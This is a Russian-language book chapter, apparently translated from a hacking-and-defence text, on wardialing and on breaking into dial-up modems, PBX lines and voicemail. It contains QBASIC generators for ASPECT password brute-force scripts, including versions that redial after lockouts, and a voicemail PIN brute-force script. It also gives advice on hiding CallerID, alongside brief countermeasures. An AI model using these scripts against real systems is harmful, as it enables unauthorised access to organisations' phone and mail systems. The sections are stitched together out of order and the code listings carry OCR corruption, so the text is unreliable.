Аппаратные средства
Аппаратные средства
При подборе телефонных номеров вопрос выбора аппаратных средств не менее важен, чем выбор программного обеспечения. Ниже мы рассмотрим два бесплатных программных средства, предназначенных для операционной системы DOS и снискавших незаслуженную репутацию трудно настраиваемых. Однако для настройки любой программы автопрозвона требуется тонкое знание СОМ-портов компьютера, а на некоторых аппаратных конфигурациях эти программы могут не работать вообще, например на переносном компьютере с интерфейсом PCMCIA. Конечно же, не стоит переоценивать требования к аппаратным средствам: типичный персональный компьютер с двумя стандартными СОМ-портами и последовательной платой для добавления еще двух вполне подойдет для этих целей. В то же время, для профессиональной системы автопрозвона можно установить многопортовую карту Digitboard, позволяющую подключить к системе от 4 до 8 модемов одновременно.
Аппаратные средства — главный фактор, определяющий скорость и эффективность. Сканеры телефонных номеров могут быть излишне осторожными: зачастую перед набором следующего номера они выдерживают паузу в несколько секунд, чтобы не упустить потенциальную цель из-за помех на линии или других факторов. Если период ожидания составляет 45-60 секунд, то программа автопрозвона на каждый звонок тратит примерно минуту. Путем несложных арифметических вычислений можно определить, что для проверки диапазона в 10000 номеров одному модему понадобится семь полных суток. Очевидно, что добавление каждого нового модема существенно ускоряет процесс — четыре модема работают вдвое быстрее, чем два. Поскольку подбор номеров можно выполнять только в непиковое время (см. следующий раздел), то чем больше модемов задействовано в этой операции — тем лучше.
Значительное влияние на скорость процесса оказывает также тип модема. Современные модемы, как правило, голосовые. Определение голоса позволяет при подборе номера сразу же зарегистрировать номер телефона как "голосовой", отключиться и продолжать дозвон по следующему номеру, не ожидая истечения заданного интервала времени (45-60 секунд). Поскольку значительная доля телефонных номеров выделена для голосовых линий, то их обнаружение значительно ускоряет процесс подбора номера телефона для модемных соединений. В документации к обеим программам THC-Scan и PhoneSweep рекомендуется использовать модем USR Courier, как наиболее надежный. Кроме того, в документации по THC-Scan рекомендуется также использовать модем Zyxel Elite, а в документации по PhoneSweep — Zyxel U-1496E fax/Voice.
Доморощенный способ примитивное написание сценариев
Доморощенный способ: примитивное написание сценариев
После получения результатов сканирования телефонных номеров нужно систематизировать их в так называемые домены (domain). Как уже отмечалось, неоценимую помощь в этом окажет опыт работы с различными типами серверов удаленных соединений и операционных систем. Выбор системы для последующего проникновения зависит от множества факторов, в том числе от того, сколько времени хакер готов посвятить своим экспериментам, какая полоса пропускания имеется в его распоряжении, а также от его интуиции и профессионализма в написании сценариев.
Первым важным шагом на пути систематизации результатов в целях тестирования является установка соединений с обнаруженными модемами. При этом нужно постараться определить характеристики соединения, чтобы затем суметь сгруппировать соединения в домены для тестирования. Модемное соединение можно определить по нескольким существенным признакам, которые и надо постараться выявить. Приведем общий перечень таких признаков.
Наличие интервала ожидания или порогового числа попыток.
После превышения порогового значения соединение больше не используется.
Соединение доступно только в определенные часы.
Допустимость корректных предположений об уровне аутентификации: т.е. наличие или отсутствие пароля.
Уникальность метода идентификации, в частности по принципу запрос/отклик (например, с использованием идентификаторов защиты (Security ID).
Возможность определения максимального числа символов в отклике или пароле.
Правомочность предположений о наличии специальных или алфавитно-цифровых символов в поле пароля или идентификаторе пользователя.
Возможность получения дополнительной информации при вводе различных стандартных комбинаций клавиш, таких как <Ctrl+C>, <CtrI+Z>, <?> и т.п.
Наличие идентификационных маркеров или их изменение с момента первых попыток проникновения, а также содержащаяся в них информация. Это может оказаться полезным при угадывании недостающей информации или при решении вопросов социальной инженерии. Получив эту информацию, можно приступать к систематизации соединений в так называемые домены для проникновения по телефонным линиям. Для иллюстрации рассмотрим четыре категории соединений или домена для дальнейшего проникновения. При этом сразу же исключим из рассмотрения так называемый домен ЛДП (легко доступный плод). Остальные домены основаны на различных механизмах аутентификации и ограничении числа попыток доступа к этим механизмам. В целом домены можно классифицировать следующим образом.
1. ЛДП |
Легко угадываемые и часто используемые пароли для идентификации (угадать их поможет опыт) |
2. Одинарная идентификация, неограниченное число попыток |
Системы с одним типом пароля или идентификатора пользователя. Модем не отключается после заданного числа неудачных попыток установки соединения |
3. Одинарная идентификация, ограниченное число попыток |
Системы с одним типом пароля или идентификатора пользователя. Модем отключается после заданного числа неудачных попыток установки соединения |
4. Двойная идентификация, неограниченное число попыток |
Системы с двумя типами механизмов аутентификации, например с использованием идентификатора пользователя и пароля. Модем не отключается после заданного числа неудачных попыток установки соединения |
5. Двойная идентификация, ограниченное число попыток |
Системы с двумя типами механизмов аутентификации, например с использованием идентификатора пользователя и пароля. Модем отключается после заданного числа неудачных попыток установки соединения |
В целом чем ниже в списке находится домен, тем сложнее проникнуть в относящуюся к нему систему, и тем более сложные сценарии требуется для этого применять. Рассмотрим эти домены подробнее.
Доступ к телефонной сети от компании Octel
Доступ к телефонной сети от компании Octel
В телефонных сетях РВХ от компании Octel пароль администратора обязательно является числом. Иногда это играет очень важную роль. По умолчанию почтовый ящик системного администратора во многих системах компании Octel — 9999.
XX-Feb-XX 05:03:56 *91ХХХ5551234 С: CONNECT 9600/ARQ/V32/LAPM
Welcome to the Octel voice/data network.
All network data and programs are the confidential and/or
proprietary property
of Octel Communications Corporation and/or others.
Unauthorized use, copying, downloading, forwarding or
reproduction in any form by any person of any network
data or program is prohibited.
Copyright (C) 1994-1998 Octel Communications Corporation.
All Rights Reserved.
Please Enter System Manager Password:
Здесь необходимо ввести число
Enter the password of either
System Manager mailbox, then press
"Return."
Двойная идентификация неограниченное число попыток
Двойная идентификация, неограниченное число попыток
К третьему типу доменов зачастую относятся системы, которые, на первый взгляд, можно принять за системы первого домена. Однако для проникновения в систему третьего домена нужно угадать не только идентификатор пользователя, но и пароль. Поэтому проникновение в такую систему занимает больше времени, чем в системы из рассмотренных выше доменов. Сценарий проникновения в такую систему обычно более сложен, поскольку требует передачи не одной, а двух корректных строк. При этом возможно гораздо больше ошибок. Такой сценарий напоминает рассмотренные выше примеры. Пример поведения системы, относящейся к третьему домену, приведен в листинге 9.5, а программа на языке QBASIC для создания сценария ASPECT — в листинге 9.6.
Листинг 9.5, Пример поведения системы, относящейся к третьему типу домена
XX-Jcl-XX 09:55:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
Userr.ame: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
PRINT 12, "dial
DATA " + CHR$(34) + "5551235" + CHR$(34)
DO UNTIL EOF(l)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "ЛМ" PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" '+ CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT tt2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"
Двойная идентификация ограниченное число попыток
Двойная идентификация, ограниченное число попыток
Четвертый домен является развитием третьего. Доя проникновения в систему четвертого домена требуется угадать имя пользователя и пароль при ограниченном числе попыток. После неудачного использования заданного числа попыток требуется восстановить разорванное соединение. Рассмотрим пример работы системы и программу генерации соответствующего сценария. В следующем листинге содержатся результаты атаки целевой системы.
XX-Jul-XX 09:55:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: gues.t
Password: xxxxxxxx
+++
OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
DO UNTIL EOF(l) PRINT #2, "dial
DATA " + CHR$(34) + "5551235" + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIMS(in$) + "ЛМ"
PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "ЛМ" PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHRS(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "AM"
PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34) LOOP PRINT #2, "endproc"
Графический интерфейс утилиты
Рисунок 9.4. Графический интерфейс утилиты PhoneSweep значительно превосходит возможности интерфейса бесплатных программ и включает множество средств, повышающих эффективность и облегчающих использование
Хакинг удаленных внутренних телефонных сетей РВХ
Хакинг удаленных внутренних телефонных сетей РВХ
На сегодняшний день по-прежнему существуют удаленные соединения с внутренними офисными телефонными сетями РВХ. На самом деле управление такими сетями чаще всего реализуется именно посредством удаленных соединений. Аппаратная консоль для доступа в сеть РВХ в настоящее время превратилась в сложную машину, доступ к которой обеспечивается через IP-сети и интерфейс клиента. При этом многие удаленные соединения с хорошо настроенными сетями РВХ были упущены из виду. Кроме того, поставщики систем РВХ зачастую требуют от своих клиентов установки удаленного доступа к РВХ для обеспечения удаленной поддержки. И хотя это требование не лишено смысла, многие компании относятся к нему очень упрощенно и просто оставляют модем постоянно включенным и подключенным к внутренней телефонной сети. На самом же деле нужно поступать следующим образом. При возникновении проблемы представитель компании должен позвонить в службу поддержки и при необходимости установить удаленное соединение с сетью РВХ, дать возможность службе поддержки устранить проблемы по удаленной связи, а затем срезу же отключить соединение. Поскольку многие компании оставляют соединения с сетями РВХ постоянно открытыми, это открывает широкие возможности для несанкционированного проникновения в систему путем сканирования телефонных номеров. Таким образом, хакинг соединений с сетями РВХ имеет ту же природу, что и взлом обычных удаленных соединений.
Хакинг виртуальных частных сетей
Хакинг виртуальных частных сетей
Телефонные сети являются достаточно надежными и разветвленными, поэтому удаленные соединения еще долго не выйдут из обращения. Тем не менее, им на смену уже приходят новые механизмы удаленного доступа — виртуальные частные сети VPN (Virtual Private Network).
Понятие виртуальной частной сети выходит за рамки отдельной технологии ил;; протокола, однако практически такие сети обеспечивают передачу (туннелирование) частных данных через Internet с использованием дополнительного шифрования. Основными преимуществами сетей VPN являются экономичность и удобство. При использовании существующих каналов связи Internet для создания удаленного офиса, общения с удаленными пользователями и даже удаленными партнерами, сложность сетевой инфраструктуры резко снижается.
Виртуальную частную сеть можно организовать разными способами, начиная от использования защищенного протокола SSH, созданного в рамках модели открытого кода (Open Source Software) и заканчивая такими "собственническими" методами, как FWZ Encapsulation от компании CheckPoint Software (который будет описан ниже). Для организации VPN чаще всего применяется два следующих стандарта: протоколы IPSec (IP Security) и L2TP (Layer 2 Tunneling Protocol), пришедшие на смену более ранним версиям протоколов РРТР (Point-to-Point Tunneling Protocol) и L2F (Layer 2 Forwarding). Техническое описание этих достаточно сложных технологии не является задачей этой книги. Интересующиеся читатели могут обратиться за дополнительной информацией по адресу http: //www. letf .org.
Термин туннелирование (tunneling) подразумевает инкапсуляцию одной (возможно зашифрованной) дейтаграммы в другой, например IP в IP (IPSec) или РРР в OKh (РРТР) Принцип туннелирования проиллюстрирован на Рисунок 9.7, где изображена виртуальная частная сеть между точками А и В (которые могут представлять собой как отдельные узлы так и целые сети). В передает пакет А (по адресу назначения "А ) через шлюз GW2 (Gateway 2), который может быть программно реализован в В. Шлюз GW2 выполняет инкапсуляцию этого пакета в другой и направляет вновь сформированный пакет шлюзу GW1. Шлюз GW1 удаляет временный заголовок и отправляет исходный пакет в место назначения А. При передаче через Internet исходный пакет может быть дополнительно зашифрован (пунктирная линия на рисунке).
Технологии виртуальных частных сетей за последние несколько лет прошли хорошую практическую проверку и надежно утвердились в архитектурах открытых и частных сетей Многие провайдеры в настоящее время предоставляют услуги по организации виртуальных частных сетей для тех пользователей, которые не хотят создавать их сами. Вполне возможно, что в скором времени виртуальные частные сети полностью вытеснят обычные телефонные соединения в области удаленных коммуникаций. Однако такая популярность технологии VPN обращает на себя все более пристальное внимание хакеров, жаждущих новой добычи в изменяющихся условиях. Как виртуальные частные сети смогут противостоять такой угрозе? Рассмотрим несколько примеров.
Использование программы TLCFG
Рисунок 9.1. Использование программы TLCFG.EXE дм ввода конфигурационных параметров модема, применяемой утилитой ToneLoc
Контрмеры против взлома систем голосовой почты
Контрмеры против взлома систем голосовой почты
Для защиты системы голосовой почты нужно принять строгие меры безопасности. Например, включите режим блокировки соединений после заданного числа неудачных попыток. Тогда взломщик не сможет за один сеанс проверить более пяти или семи паролей.
Контрмеры против взлома систем РВХ
Контрмеры против взлома систем РВХ
Как и при защите удаленных соединений, необходимо максимально ограничить время работы модемов, применять сложные формы аутентификации (по возможности двойную аутентификацию), а также предусмотреть возможность отключения после нескольких неудачных попыток установки соединения.
Легализация деятельности
Легализация деятельности
Наряду с вопросами выбора аппаратной платформы для подбора номеров потенциальные взломщики серьезно рассматривают вопросы законности своей деятельности. В некоторых странах запрещено последовательно набирать большое число номеров, и телефонные компании внимательно следят за соблюдением этого требования, а зачастую их оборудование попросту не позволяет этого делать. Конечно же, все рассматриваемые здесь программы разбивают заданный диапазон номеров на случайные интервалы, чтобы избежать нарушения таких требований, но это все же не гарантирует от попадания в "черный список". Поэтому специалисты, занимающиеся подобной деятельностью на законных основаниях, должны легализовать свои действия и получить письменное разрешение от компании-заказчика на проведение такого тестирования. В этом документе необходимо указать диапазон сканируемых телефонных номеров, чтобы возложить ответственность за выход из диапазона на выполняющую подбор номера организацию.
В соглашении необходимо также указать время суток, когда компания-заказчик предпочитает выполнять тестирование. Как уже упоминалось, сканирование телефонных номеров в рабочее время может негативно отразиться на эффективности работы компании, поэтому такую деятельность обычно откладывают на поздний вечер или ночное время.
Помните, что сканирование телефонных номеров с включенным идентификатором CallerlD, означающим возможность автоматического определения номера, равнозначно передаче визитной карточки по каждому из набираемых вами номеров. Многократное повторение звонков из одного источника вызовет подозрение у целевой компании, поэтому стоит отключить режим автоматического определения номера на своей телефонной линии (конечно же, если у вас есть разрешение на подобную деятельность, то это не критично). Не следует забывать и том, что при звонках по номерам с префиксом 800 номер звонившего фиксируется в любом случае независимо от статуса CallerlD, поскольку в этой ситуации разговор оплачивается отвечающей стороной.
Легко доступный плод
Легко доступный плод
Для проникновения в систему, относящуюся к этому домену, требуется минимум усилий. Если хакер удачлив — его неминуемо ждет успех. Для проникновения в систему не требуется писать никаких сценариев — нужно лишь угадать идентификатор пользователя или пароль. В книге нельзя перечислить все типичные идентификаторы и пароли. Угадать эту информацию поможет опыт и интуиция. Хорошей отправной точкой в этом процессе может послужить идентификация подписи. В табл. 10.3 следующей главы приводится полезный список, с которого можно начать дальнейшие исследования. Однако каким бы списком ни воспользовался читатель, главное — быстро проверить все применяемые по умолчанию варианты и в случае неудачи перейти к следующему типу домена.
Небольшой фрагмент отчета утилиты
Рисунок 9.6. Небольшой фрагмент отчета утилиты PhoneSweep одновременно демонстрирует уровень детализации и обобщения результатов единственного встроенного шаблона отчета
Интересные результаты сравнения программ PhoneSweep и THC-Scan, полученные, из заинтересованного источника — от компании Sandstorm Enterprises, Inc., можно найти по адресу http: //geek-girl. com/bugtraq/1998_4/0770 .html.
Но какое бы средство мы ни выбрани, важно понимать, что мы хотим получить в итоге. Об этом будет рассказано в следующем разделе.
Одинарная идентификация неофаниченное число попыток
Одинарная идентификация, неофаниченное число попыток
Это первый серьезный домен (ЛДП не в счет), который зачастую труднее всего идентифицировать. Дело в том, что многие системы, которые, на первый взгляд, принадлежат этому домену (листинг 9.1 А), после ввода корректного идентификатора требуют повторной аутентификации (листинг 9.1 Б). Пример системы, действительно относящейся к этой категории, приводится в листинге 9.2. Эта система использует один механизм аутентификации и допускает неограниченное число попыток установки соединения.
Листинг 9.1А. Пример системы, которая, на первый взгляд, относится к первому домену, но меняет свое поведение после ввода корректного идентификатора пользователя или пароля
XX-Jul-XX 09:51:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:
XX-Jul-XX 09:55:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
@ Userid: lanroverl
Password: xxxxxxxx
Листинг 9.2. Пример поведения системы, действительно относящейся к первому домену
XX-Jul-XX 03:45:08 91ХХХ5551235
С: CONNECT 9600/ARQ/V32/LAPM
Enter Password: Invalid Password.
Enter Password: Invalid Password.
Enter Password: Invalid Password.
Enter Password: Invalid Password.
Enter Password: Invalid Password.
Для начала создадим исходный файл сценария, а затем скомпилируем его в объектный модуль. Полученный модуль протестируем на 10-20 паролях, а затем на большом словаре. Таким образом, сначала создадим файл исходного кода сценария на языке ASPECT. В старых версиях Procomm Plus для исходных файлов сценариев использовалось расширение .ASP, а для объектных файлов — .ASX, а в новых версиях — .WAS и .wsx соответственно. Однако независимо от версии нам предстоит создать сценарий, который будет поддерживать приведенный выше диалог и пользоваться большим словарем паролей.
Написание сценариев — это программирование сравнительно низкого уровня. Их можно писать с помощью любого стандартного редактора. Относительно сложным моментом является включение в сценарий переменной, отвечающей за считывание пароля из словаря. Система Procomm Plus поддерживает включение в сценарий переменных, отвечающих за считывание данных из внешних файлов (например, из словаря) в процессе работы сценария. Однако опыт авторов показывает, что при включении словаря в текст сценария уменьшается число программных переменных и возрастает вероятность успеха.
Поскольку основная задача — написание сценария низкого уровня, основанного на применении ASCII-кодов, для его создания можно воспользоваться языком QBASIC для DOS. В следующем листинге приводится содержимое простого QBASIC-файла, генерирующего сценарий обработки ситуации из предыдущего примера. Назовем этот файл 5551235.ВАЗ (.ВАЗ — стандартное расширение для программ на языке QBASIC). Эту программу можно использовать для создания сценария проникновения в систему, относящуюся к первому домену. Эта программа создает исходный файл сценария на языке ASPECT для Procomm Plus 32 (.WAS). Для полноты сценария необходимо сначала создать элемент соединения 5551235 в соответствующем каталоге Procomm Plus. Элемент соединения обычно содержит все характеристики соединения и позволяет пользователю задать файл журнала. Как будет видно из дальнейшего изложения, наличие журнала очень важно при реализации описываемого подхода.
OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS tl
PRINT #2, "proc main"
PRINT #2, "dial
DATA " + CHR$(34) + "5551235" + CHR$(34)
DO UNTIL EOF(l)
LINE INPUT #1, in$
inS = LTRIM$(in$) + "ЛМ"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + inS + CHR$(34)
LOOP
PRINT #2, "endproc"
apple
applel
apple2
applepie
applepies
applepiesl
applepies2
applicate
applicates
application
applicationl
applonia
applonial
Размер словаря может быть любым, здесь можно проявлять любое творчество. Если известна какая-либо конкретная информация о целевой организации, например имена сотрудников или название местной спортивной команды, то в словарь следует добавить и ее. Главное, создать как можно более эффективный словарь.
Затем нужно взять готовый файл 5551235.WAS, скомпилировать его с использованием компилятором языка ASPECT и запустить на выполнение.
Поскольку сценарий предназначен для подбора паролей, перед началом его выполнения нужно открыть файл журнала регистрации событий. Тогда весь процесс работы сценария будет фиксироваться в файле. Позднее содержимое файла журнала можно проанализировать и определить правильный пароль. На первый взгляд, может показаться, что журнал регистрации вовсе не нужен. Достаточно просто выполнять сценарий до успешной попытки (получения корректного пароля). Однако это невозможно, поскольку заранее нельзя определить, что произойдет после ввода корректного пароля, т.е. нельзя сформулировать условие успешной попытки. Если же известно, к какому результату должен привести ввод корректного пароля, то в файле сценария на языке ASPECT можно использовать условие WAITFOR и задать соответствующее условие. При таком подходе остается меньше шансов для случайностей. Авторы являются сторонниками журналов регистрации. Хотя такие журналы сложно анализировать — их легко создавать. При этом, конечно, предполагается, что дополнительные сведения о соединении отсутствуют. Те, кто работал консультантом по безопасности или аудитором и сотрудничал с людьми, знающими характеристики удаленных соединений своих организаций, могут использовать совсем другие подходы.
Следует упомянуть еще о некоторых особенностях работы сценариев. Наличие шума на линии между ожидаемыми символами может свести на нет всю работу сценария. Поэтому, прежде чем запускать сценарий в действие, желательно несколько раз протестировать его на небольших словарях из 10-20 паролей и удостовериться в его работоспособности.Одинарная идентификация ограниченное число попыток
Одинарная идентификация, ограниченное число попыток
Для проникновения в систему, относящуюся ко второму типу доменов, требуется несколько больше времени, поскольку в сценарий нужно добавить новые элементы. Пример работы такой системы приведен в листинге 9.3. Несложно заметить небольшие отличия в поведении этой и рассмотренной выше системы первого типа. В данном примере после третьей попытки установки соединения появляется сообщение АТНО. Это типичная последовательность символов, означающая разрыв соединения для модемов Hayes. Значит, данное соединение разрывается после трех неудачных попыток аутентификации. Число попыток может варьироваться, однако в этом примере будет показано, как восстановить соединение при его разрыве после X (в данном примере 3-х) неудачных попыток. Для этого нужно добавить небольшой фрагмент кода в рассмотренный выше сценарий. Такой пример содержится в листинге 9.4. Здесь предпринимается три попытки угадать пароль, а затем соединение устанавливается снова и процесс повторяется.
Листинг 9.3. Пример поведения системы, относящейся ко второму типу домена
XX-Jul-XX 03:45:08 91ХХХ5551235 С:CONNECT 9600/ARQ/V32/LAPM
Enter Password: Invalid Password.
Enter Password:
Invalid Password.
Enter Password:
Invalid Password.
ATHO
Листинг 9.4. Пример программы на языке QBASIC (файл 5551235.BAS)
OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
DO UNTIL EOF(l) PRINT #2, "dial DATA " + CHR$(34)
+ "5551235" + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^М"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ - LTRIM$(in$) + "^М"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"
Прямой взлом систем голосовой почты
Прямой взлом систем голосовой почты
В начале 90-х годов появились две программы, предназначенные для взлома систем голосовой почты: Voicemail Box Hacker 3.0 и VrACK 0.51. Авторы этой книги пробовали пользоваться ими, но оказалось, что эти программы подходят для взлома более ранних и менее защищенных систем голосовой почты. Программа Voicemail Box Hacker 3.0 предназначена только для работы с системами, использующими четырехзначные пароли. Программа VrACK 0.51 обладает некоторыми интересными возможностями, однако для нее сложно писать сценарии и, вообще, она рассчитана на старые архитектуры компьютеров на базе процессоров х86, а на современных компьютерах работает нестабильно. Возможно, упомянутые программы в настоящее время не поддерживаются потому, что попытки взлома систем голосовой почты предпринимаются нечасто. Таким образом, для взлома систем голосовой почты лучше всего использовать язык сценариев ASPECT.
Сценарий взлома систем голосовой почты аналогичен сценарию взлома удаленных соединений, но основывается на другом принципе. В данном случае достаточно просто установить связь, а попытки регистрации не требуются. Такой сценарий можно реализовать даже вручную, но тогда поиск ограничится лишь последовательным перебором достаточно простых паролей и их комбинаций, которые могут использоваться в системах голосовой почты.
Чтобы взломать систему голосовой почты вручную или с помощью простого сценария перебора паролей (здесь социальная инженерия не потребуется), необходимо знать основной номер для доступа к самой системе голосовой почты, код доступа к нужному почтовому ящику, включая количество цифр (обычно это 3, 4 или 5), а также иметь разумные предположения относительно минимальной и максимальной длины пароля почтового ящика. В большинстве современных систем используются стандартные предельные значения длины пароля, а также типичные предлагаемые по умолчанию пароли. Только очень беспечные компании не пытаются принять хоть какие-то меры защиты систем голосовой почты, однако, как показывает опыт, встречаются и такие. Однако при написании сценария будем исходить из предположения, что организация предпринимает некоторые меры защиты, и ящики голосовой почты имеют пароли.
Сценарий взлома системы голосовой почты должен выглядеть примерно так, как в листинге 9.7. Сценарий в этом примере устанавливает соединение с системой голосовой почты, ожидает приветственного сообщения от автоответчика, например "Вас приветствует система голосовой почты компании X. Назовите, пожалуйста, номер почтового ящика", вводит номер почтового ящика, символ # для подтверждения окончания ввода, вводит пароль и символ подтверждения, а затем снова возобновляет попытку соединения. В этом примере проверяется шесть паролей для почтового ящика 5019. С помощью несложных приемов программирования можно легко написать сценарий, который последовательно выбирает пароли из некоторого словаря. Возможно, этот сценарий, придется подстраивать под конкретный модем. Да и вообще, один и тот же сценарий может отлично работать в одной системе и неудовлетворительно в другой. Поэтому необходимо внимательно следить за его работой. Протестировав сценарий на небольшом перечне паролей, можно запускать его для более объемного словаря.
Листинг 9.7. Простой сценарий взлома системы голосовой почты на языке ASPECT для Procomm Plus
proc main
transmit "atdt*918005551212,,,,, 5019#,111111*,,50191,2222221,,"
transmit "^M"
WAITQUIET 37 HANGUP
transmit "atdt*918005551212,,,,,5019#,333333#,,5019#,555555#,,"
transmit "^м"
WAITQUIET 37 HANGUP
transmit "atdt*918005551212,,,,,5019#,666666*,,5019#,7777771,,"
transmit "^M"
WAITQUIET 37
HANGUP
endproc
Итак, как же сократить время подбора номера? Во-первых, попробовать легко запоминаемые комбинации символов (цифр). Такие комбинации часто "навеяны" специфическим расположением кнопок телефона. Пользователи часто выбирают в качестве пароля последовательности расположенных определенным образом кнопок телефона, например, цифры 1235789 на клавиатуре телефона образуют букву Z. В табл. 9.1 приведены наиболее типичные образцы паролей, обусловленные взаимным расположением кнопок телефонного номеронабирателя. Это далеко не полный список, но с него стоит начать. Не стоит игнорировать и очевидные комбинации символов, например 111111, которые могут предлагаться в качестве пароля по умолчанию. Скорее всего, в процессе поиска будут обнаружены установленные ящики голосовой почты, но среди них могут быть и такие, которыми никто никогда не пользовался. Такое выявление почтовых ящиков имеет смысл только для аудиторов, старающихся заставить пользователей более строго соблюдать меры безопасности.
Программа PhoneSweep
Программа PhoneSweep
Если, с вашей точки зрения, использование утилиты THC-Scan требует слишком больших усилий, то вам подойдет программа PhoneSweep. Эту программу распространяет компания Sandstorm Enterprises (http://www.sandstorm.net). Вопросам установки и использования бесплатных программ телефонного сканирования было уделено достаточно много внимания. Рассказ о PhoneSweep будет значительно короче, поскольку практически все понятно из самого интерфейса пользователя (Рисунок 9.4).
Основными преимуществами PhoneSweep являются простой графический интерфейс, автоматическое планирование заданий, возможность проникновения в систему, одновременная поддержка нескольких модемов и изящная отчетность. Для каждого модема задается диапазон номеров (профиль) . Текущая версия программы поддерживает до четырех модемов. С помощью флажков Business Hours, Outside Hours и Weekends утилиту PhoneSweep легко настроить для использования в рабочее время, нерабочие часы и выходные, как показано на Рисунок 9.5. Конкретные часы рабочего времени задаются во вкладке Options>Time. Утилита PhoneSweep будет непрерывно выполнять сканирование в указанный период времени (обычно это нерабочее время или выходные, задаваемые флажками Outside Hours и Weekends) до тех пор, пока не будет проверен весь диапазон.
Утилита PhoneSweep различает 205 различных типов устройств удаленного доступа (их полный список приводится по адресу http://www.sandstorm.net/phoneswep/ sysids.shtml). Она выполняет идентификацию, сравнивая текстовые или бинарные строки, получаемые в качестве отклика модема, с базой данных известных откликов. Если отклик модема настраивался вручную, то утилита PhoneSweep его не распознает. Чтобы обеспечить идентификацию всех возможных систем, нужно включить в отчет все отклики всех возможных модемов, а затем проанализировать этот список вручную.
Программа THCScan
Программа THC-Scan
Слабые стороны утилиты ToneLoc компенсирует программа THC-Scan, созданная членом хакерской группы The Hacker's Choice из Германии Ван Хаузером (van Hauser) (http://www.infowar.co.uk/thc/). Подобно ToneLoc, утилита THC-Scan тоже настраивается и запускается в операционной системе DOS, в окне DOS Win 9x или с консоли Windows NT, а также с использованием эмулятора Dos под UNIX.
Программа ToneLoc
Программа ToneLoc
Одной из первых и наиболее популярных программ телефонного сканирования является утилита ToneLoc компании Minor Threat&Mucho Maas (название ToneLoc расшифровывается как Tone Locator). Эту программу можно найти на узле компании, а также на множестве хакерских узлов в Internet. Подобно многим программам-номеронабирателям, ToneLoc работает под управлением DOS (или в окне DOS операционной системы Win 9x или NT), а также с эмулятором DOS в UNIX. В течение многих лет эта утилита являлась эффективным средством для хакеров и консультантов по безопасности. К сожалению, создатели ToneLoc не следят за обновлением своей программы, и никто из сообщества специалистов по безопасности не принимал участия в ее разработке. Поэтому для оценки защищенности Web-узла лучше использовать более робастную программу THC-Scan.
Программу ToneLoc легко установить и применять для базовых операций телефонного сканирования, однако использование расширенных возможностей этой программы требует некоторых навыков. Сначала из командной строки необходимо запустить простую утилиту TLCFG, выполняющую запись основных параметров конфигурации модема в файл TL.CFG, проверяемый при запуске ToneLoc (при этом должны быть установлены порт СОМ, адрес порта ввода-вывода и номер прерывания). Окно программы TLCFG.EXE показано на Рисунок 9.1.
После этого из командной строки можно запустить саму программу ToneLoc, указав диапазон сканируемых телефонных номеров, имя файла данных для записи результатов и любые другие опции в следующем формате.
ToneLoc [ФайлДанных] /М:[Маска] /R:[Диапазон]
/X:[ИскМаска] /D:[ИскДиапазон]
/С:[Коифиг] /#:[Число] /S:[ВремяНачала] /Е:[ВремяЭаверш]
/Н:[Часы] /Т /К
[ФайлДанных] - файл для хранения данных (возможно, маска)
[Маска] - Маска для телефонных номеров в формате 555-ХХХХ
[Диапазон] - диапазон телефонных номеров в формате 5000-6999
[ИскМаска} - маска для исключения из сканирования в формате 1ХХХ
[ИскДиапазон] - диапазон для исключения из сканирования в формате 2500-2699
[Конфиг] - используемый файл конфигурации
[Число] - количество выполняемых звонков в формате 250
[ВремяНачала]- время начала сканирования в формате 9:30р
